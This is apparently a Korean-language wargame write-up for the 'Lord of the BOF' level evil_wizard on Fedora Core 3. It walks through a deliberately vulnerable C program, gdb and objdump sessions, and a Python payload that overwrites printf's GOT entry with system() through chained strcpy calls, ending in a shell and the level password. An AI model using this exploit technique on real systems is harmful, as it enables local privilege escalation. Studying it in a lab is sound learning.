Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); ( hell_fire / sign me up ) 계정으로로그인뒤소스코드를보면위와같다. 이전레벨에서 안풀렸던 GOT_Overwrite 방법을이용하면된다.
이전문제들에서는 POP POP RET ( 이하 PPR) 가젯이없었기때문에 ROP가사실상불가능했지만이번문제에서는친절하게 pop_pop_ret 함수로해당가젯을직접제공해준다. 그리고 setreuid, setregid 함수를이용하여권한을주기때문에결국 system 함수를이용해쉘코드를호출만하면된다. 어쨌든 GOT Overwrite를위해풀기위해서는총 5가지정보가필요하다. 1. strcpy() PLT 2. printf() PLT, GOT 3. system() 주소 4. /bin/sh 주소 5. ppr 가젯 PLT, GOT 에관한설명과 GOT Overwrite 의기본적인개념은다음링크의문서를참고하기 바란다. 다시본론으로돌아와이번문제의 ROP 는 GOT Overwrite 를이용하는데이과정에서 필요한또다른기법이 RTL 이다. 일단 ppr 가젯의주소는다음과같다. (0x804854f) [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep ret -B2 === 생략 === 0804854c <pop_pop_ret>: -- 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret === 생략 === strpcy 함수의 plt 주소는다음과같다. (0x8048494) [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep strcpy 08048494 <strcpy@plt>: 8048624: e8 6b fe ff ff call 8048494 <strcpy@plt> system 함수의주소는다음과같다. (0x7507c0) [hell_fire@fedora_1stfloor ~]$ gdb evil_wizard (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r Starting program: /home/hell_fire/evil_wizard (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) p system $1 = {<text variable, no debug info> 0x7507c0 <system>
/bin/sh 의주소는다음과같다. (0x833603) [hell_fire@fedora_1stfloor ~]$ cat sh.c #include <stdio.h> #include <string.h> #define SYS_ADDR 0x7507c0 void main() { char *ptr; ptr = (int *)SYS_ADDR; for(;;) { if(memcmp(ptr, "/bin/sh", 8) == 0) { printf("/bin/sh at : %p\n", ptr); exit(1); ptr++; [hell_fire@fedora_1stfloor ~]$ gcc -o sh sh.c [hell_fire@fedora_1stfloor ~]$./sh /bin/sh at : 0x833603 printf 함수의 plt, got 는다음과같다. [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep printf 08048424 <printf@plt>: 8048581: e8 9e fe ff ff call 8048424 <printf@plt> 804868b: e8 94 fd ff ff call 8048424 <printf@plt> (gdb) x/3i 0x8048424 0x8048424 <_init+88>: jmp ds:0x8049884 # 1 0x804842a <_init+94>: push 0x18 # 3 0x804842f <_init+99>: jmp 0x80483e4 <_init+24> # 4 (gdb) x/x 0x8049884 0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804842a # 2 위쪽에링크한 plt, got 관련포스팅을봤다면왜우측에표시한순서대로실행되는것인지알것이다. 그럼이번문제를위해서는마지막 printf를 system으로변경하면버퍼에있는무언가가실행되게된다. 그렇다면 printf의 GOT를 system 함수의주소로덮어써야하는작업이필요한데여기서 RTL이사용된다. 바로 RTL를이용하여 strcpt 함수를호출하여 GOT의바이트하나하나를다른값으로변경시키는것이다. 이과정의핵심은 POP POP RET 이다. pop 명령어는 esp 레지스터를 +4 만큼이동하는데, 2번호출되기때문에 +8이된다. 그리고 RET에의해 pop eip, jmp eip가실행되어다른함수를연속적으로호출할수있게되는데이런작업을 Chaining RTL Calls 라고도한다. 자그럼이제 system 함수의주소 (0x7507c0) 를바이트단위로나누고메모리어디주소에있는지알아내는과정이필요하다. 이는 objdump 명령어를이용하여다음과같이실행될수있다. q
* 명령어에 color=auto 옵션을주었기때문에대상바이트를찾게되면알아보기쉽게컬러로 표시된다. 해당명령어를이전처럼복사한다음붙여넣기하면색깔이들어가지않아일부러 이번명령어는사진으로대체하였다. 시스템함수주소중 c0에대한주소값은 0x8048420이다. 위와같은방법으로나머지바이트주소를찾아낸결과는다음과같다. - c0 : 0x8048420-07 : 0x8048154-75 : 0x80482c8-00 : 0x80481ec ( 혹시모르니위사진에서찾아놓음 ) 지금까지의설명을정리하면, printf() 함수의 GOT를 system 함수의주소로바꾸는방법으로문제를풀수있다. 바꾸는과정은 strcpy 함수를이용한 RTL 기법을사용한다. 그렇다면제일첫페이지소스코드마지막에있는 prinf() 함수가 system() 함수로변경되는데, 이때인자를 /bin/sh로주면쉘이실행된다. 즉, 페이로드는다음과같은형태가된다. A*268 strcpy(0x8048494) ppr(0x804854f) printf@got_0(0x8049884) 0x8048420 strcpy ppr printf@got_1 0x8048154 strcpy ppr printf@got_2 0x80482c8 strcpy ppr printf@got_3 0x80481ec printf@plt(0x8048424) AAAA /bin/sh(0x833603) 위주소값들을이용하여페이로드를작성한다. # coding:utf-8 import os from struct import * p = lambda x : pack("<l", x) # 리틀엔디언변환 strcpy_plt ppr printf_got system_1 system_2 system_3 system_4 = 0x08048494 = 0x0804854f = 0x08049898 = 0x08048420 = 0x08048154 = 0x080482c8 = 0x080481ec
printf_plt bin_sh = 0x08048474 = 0x833603 ex = "A" * 268 # 정크값 ex += p(strcpy_plt) + p(ppr) + p(printf_got+0) + p(system_1) # got_1 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(system_2) # got_2 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(system_3) # got_3 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(system_4) # got_4 덮어쓰기 ex += p(printf_plt) + "BBBB" + p(bin_sh) # system 함수인자 print ex 위와같이파이썬파일을작성후 print ex 출력결과를 evil_wizard 인자로넘겨주면된다. [hell_fire@fedora_1stfloor ~]$./evil_wizard `python ex.py` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAO Segmentation fault 근데안된다. gdb 를이용하여뭐가문제인지봐야한다. (gdb) b *main+319 Breakpoint 1 at 0x8048693 (gdb) r `python ex.py` Starting program: /home/hell_fire/evil_wizard `python ex.py` (no debugging symbols found)...(no debugging symbols found)...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa 鴣 O Breakpoint 1, 0x08048693 in main () (gdb) x/3i 0x8048424 0x8048424 <_init+88>: jmp ds:0x8049884 0x804842a <_init+94>: push 0x18 0x804842f <_init+99>: jmp 0x80483e4 <_init+24> (gdb) x/x 0x8049884 0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0075e660 (gdb) p system $1 = {<text variable, no debug info> 0x7507c0 <system> 마지막 prinft 함수호출이후에 bp 를걸고인자를넘겨준뒤 prinf 의 got 는우리의의도라면 system 주소가있어야한다. 그런데 0x75 는제대로존재하는데그뒤부터실제 system 함수 주소와다르게되어있다. 즉첫번째 got overwrite 이후에문제가발생했다는소리다. 구글링 결과비슷한증상을겪은분이있었는데, 이유는 strcpy 함수는널바이트가올때까지문자열로 판단하여덮어쓰는데, 널바이트가너무뒤에있어서 strcpy 함수의위치까지덮어쓰여진 것으로추정된다고하였다.
실제 system 함수주소의첫번째바이트 c0 을위해사용한주소 (8048420) 근처에는널바이트가 너무뒤에있었다. [hell_fire@fedora_1stfloor ~]$ objdump -s./evil_wizard grep 8048414 -A1 8048414 ff258098 04086810 000000e9 c0ffffff.%...h... 8048424 ff258498 04086818 000000e9 b0ffffff.%...h... 따라서널바이트가근처에있는 c0 을찾아서파이썬코드의 system1 변수값을바꾸면된다. [hell_fire@fedora_1stfloor ~]$ objdump -s./evil_wizard grep c0 --color=auto === 생략 === 80484f4 b0980408 00740feb 1f8d7600 83c004a3...t...v... 8048524 ec08a19c 97040885 c07419b8 00000000...t... 기존의파이썬코드 system_1=0x08048420 을 system_1=0x0804852c 로변경하면된다. [hell_fire@fedora_1stfloor ~]$./evil_wizard `python ex.py` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA.BBBB6,O sh-3.00$ whoami evil_wizard sh-3.00$ sh-3.00$ my-pass euid = 504 get down like that sh-3.00$